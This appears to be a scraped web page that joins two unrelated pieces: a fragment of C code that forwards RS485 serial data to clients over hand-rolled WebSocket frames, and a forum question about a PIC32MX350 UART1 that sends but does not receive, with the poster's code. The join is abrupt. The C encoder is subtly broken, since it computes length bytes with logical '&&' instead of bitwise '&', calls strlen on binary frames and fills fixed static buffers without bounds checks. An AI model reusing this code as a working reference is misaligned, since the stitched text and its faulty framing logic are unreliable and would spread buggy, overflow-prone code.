options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG) ;
options.c_oflag &= ~OPOST ;
options.c_cc [VMIN] = 0 ;
options.c_cc [VTIME] = 100 ; // Ten seconds (100 deciseconds)
tcsetattr (fd, TCSANOW | TCSAFLUSH, &options) ;
ioctl (fd, TIOCMGET, &status);
status |= TIOCM_DTR ;
status |= TIOCM_RTS ;
ioctl (fd, TIOCMSET, &status);
usleep (10000) ; // 10mS
return fd ;
}
/*
* DECODE / ENCODE STRING TO BINARY
* */
char * decode( char *frame) {
static char text[2000];
int ofs=0, len=0, i=0, a=0;
len = (int)(frame[1]) & 127;
if (len == 126) { ofs = 8; }
else if (len == 127) { ofs = 14; }
else { ofs = 6; }
text[0] = '\0';
for (i = ofs; i < strlen(frame); i++) { text[a] = frame[i] ^ frame[ofs - 4 + (i - ofs) % 4]; a++; }
text[a] = '\0';
return text;
}
char * encode( char *frame) {
int indexStartRawData=-1, i=0;
long long int len=0;
static char bytesFormatted[2000];
for(i=0;i<2000;i++) bytesFormatted[i]='\0';
len = strlen(frame);
bytesFormatted[0]= 129;
if (len <= 125) {
bytesFormatted[1] = len;
indexStartRawData = 2;
} else if (len >= 126 && len <= 65535) {
bytesFormatted[1] = 126;
bytesFormatted[2] = ( len >> 8 ) && 255;
bytesFormatted[3] = ( len ) && 255;
indexStartRawData = 4;
} else {
bytesFormatted[1] = 127;
bytesFormatted[2] = ( len >> 56 ) && 255;
bytesFormatted[3] = ( len >> 48 ) && 255;
bytesFormatted[4] = ( len >> 40 ) && 255;
bytesFormatted[5] = ( len >> 32 ) && 255;
bytesFormatted[6] = ( len >> 24 ) && 255;
bytesFormatted[7] = ( len >> 16 ) && 255;
bytesFormatted[8] = ( len >> 8 ) && 255;
bytesFormatted[9] = ( len ) && 255;
indexStartRawData = 10;
}
strcat( bytesFormatted,frame);
bytesFormatted[indexStartRawData+len] ='\0';
return bytesFormatted;
}
char * asciiencode( int asciichar) {
int indexStartRawData=-1, i=0, len=0;
static char bytesFormatted[10];
static char asciiFormatted[10];
for(i=0;i<=6;i++) bytesFormatted[i]='\0';
sprintf(asciiFormatted,"%i\0",asciichar);
len = strlen(asciiFormatted);
bytesFormatted[0]= 129;
bytesFormatted[1] = len;
indexStartRawData = 2;
strcat( bytesFormatted,asciiFormatted);
bytesFormatted[indexStartRawData+len] =0;
bytesFormatted[indexStartRawData+len+1] =0;
bytesFormatted[indexStartRawData+len+2] ='\0';
//bytesFormatted[indexStartRawData+len] ='\r';
//bytesFormatted[indexStartRawData+len+1] ='\n';
return bytesFormatted;
}
/*
* Thread MASTER to popolate virtual array
* */
void *connection_handler_master (void *socket_desc) {
//Get the socket descriptor
int sock = *(int*)socket_desc;
int read_size;
char *server_message , client_message[2000];
int i=0;
//Send some messages to the client
server_message = "Creazione MASTER avvenuta. ";
printf("%s\r\n",server_message);
server_message = "In attesa di dati sul bus RS485.";
printf("%s\r\n",server_message);
int handle;
uint8_t x ;
handle = serialOpen ("/dev/ttyAMA0", 115200) ;
//for(i=0;i<2001;i++) printf("%i: %i\r\n ",i,serialBuffer[i]);
while(1) {
while(!read (handle, &x, 1));
if(x>-1) {
serialBuffer[i]=x;
//DEBUG printf("%i-%i\r\n",i,serialBuffer[i]);
if(i==MAX_BUFFER) { serialBuffer[0]=-1; i=0; }
else { serialBuffer[i+1]=-1; i++; }
}
x=-1;
}
}
/*
* Thread clients
* */
void *connection_handler(void *socket_desc) {
//Get the socket descriptor
int sock = *(int*)socket_desc, read_size, i=0, a=0;
char *server_message , client_message[2000], *c;
//Send some messages to the client
server_message = "Connessione avvenuta. ";
write(sock , encode(server_message) , strlen(encode(server_message)));
server_message = "In attesa di dati sul buffer.";
write(sock , encode(server_message) , strlen(encode(server_message)));
//DEBUG printf("sock:%i\r\n",sock);
while(serialBuffer[i]!=-1) i++;
while(1) {
if(serialBuffer[i]!=-1) {
//DEBUG printf("Serialdata%i: %i\r\n",i,serialBuffer[i]);
server_message=asciiencode(serialBuffer[i]);
write(sock , server_message , strlen(server_message));
//printf("Serialdata--------------->%i: %s\r\n",i,server_message);
if(i==MAX_BUFFER) i=0;
else i++;
for(a=0;a<DELAYTOSEND;a++) { }
}
}
// This code is not used
//Receive a message from client
while( (read_size = recv(sock , client_message , 2000 , 0)) > 0 ) {
//Received message from client
//printf( "%s\n", decode(client_message) );
//send message to client
//server_message="provina";
//write(sock , encode(server_message) , strlen(encode(server_message)));
printf( "%s\n",decode(client_message));
//read (handle, &x, 1);
//sprintf(c,"%i",x);
//write (sock, encode(c),strlen(encode(c) ) );
printf("serialBUffer: %s\r\n",serialBuffer);
}
if(read_size == 0)
{
puts("Client disconnected");
fflush(stdout);
}
else if(read_size == -1)
{
puts("uscita2");
perror("recv failed");
}
//Free the socket pointer
puts("uscita3");
free(socket_desc);
return 0;
}

PIC32MX Controller UART1 receive not working

I am working with PIC32MX350F128L.The uart1 which is PIN 22 for (TX) and pin 20 for (RX). I am able to send a character but not able to receive any character.Below is the code attached.
Please do have a look at code and suggest some changes ?
void init_uart();
void UART1PutChar(unsigned char Ch);
char SerialReceive_1();
void main()
{
char res;
OSCCON=0x00002200; //ask settings clock
ANSELBbits.ANSB3 = 0;
ANSELBbits.ANSB5 = 0;
TRISCbits.TRISC3 = 0;
TRISCbits.TRISC4 = 0;
PORTCbits.RC3 = 1;
PORTCbits.RC4 = 1;
TRISBbits.TRISB3 = 0; //in controler tx
TRISBbits.TRISB5 = 1; // in controller RX
U1RXR=0x08;
RPB3R=0x03;
init_uart() ;
UART1PutChar('T');
while(1)
{
res = SerialReceive_1();
UART1PutChar(res);
}
}
void init_uart()
{
U1MODEbits.ON =1;
U1BRG = 25;
U1STA=0x1400;
IFS1bits.U1RXIF = 0;
IFS1bits.U1TXIF = 0 ;
return;
}
void UART1PutChar(unsigned char Ch)
{
while(U1STAbits.UTXBF == 1);
U1TXREG=Ch;
return ;
}
char SerialReceive_1()
{
char buf1;
while(!U1STAbits.URXDA);
buf1 = U1RXREG;
return buf1;
}
Regards

Resources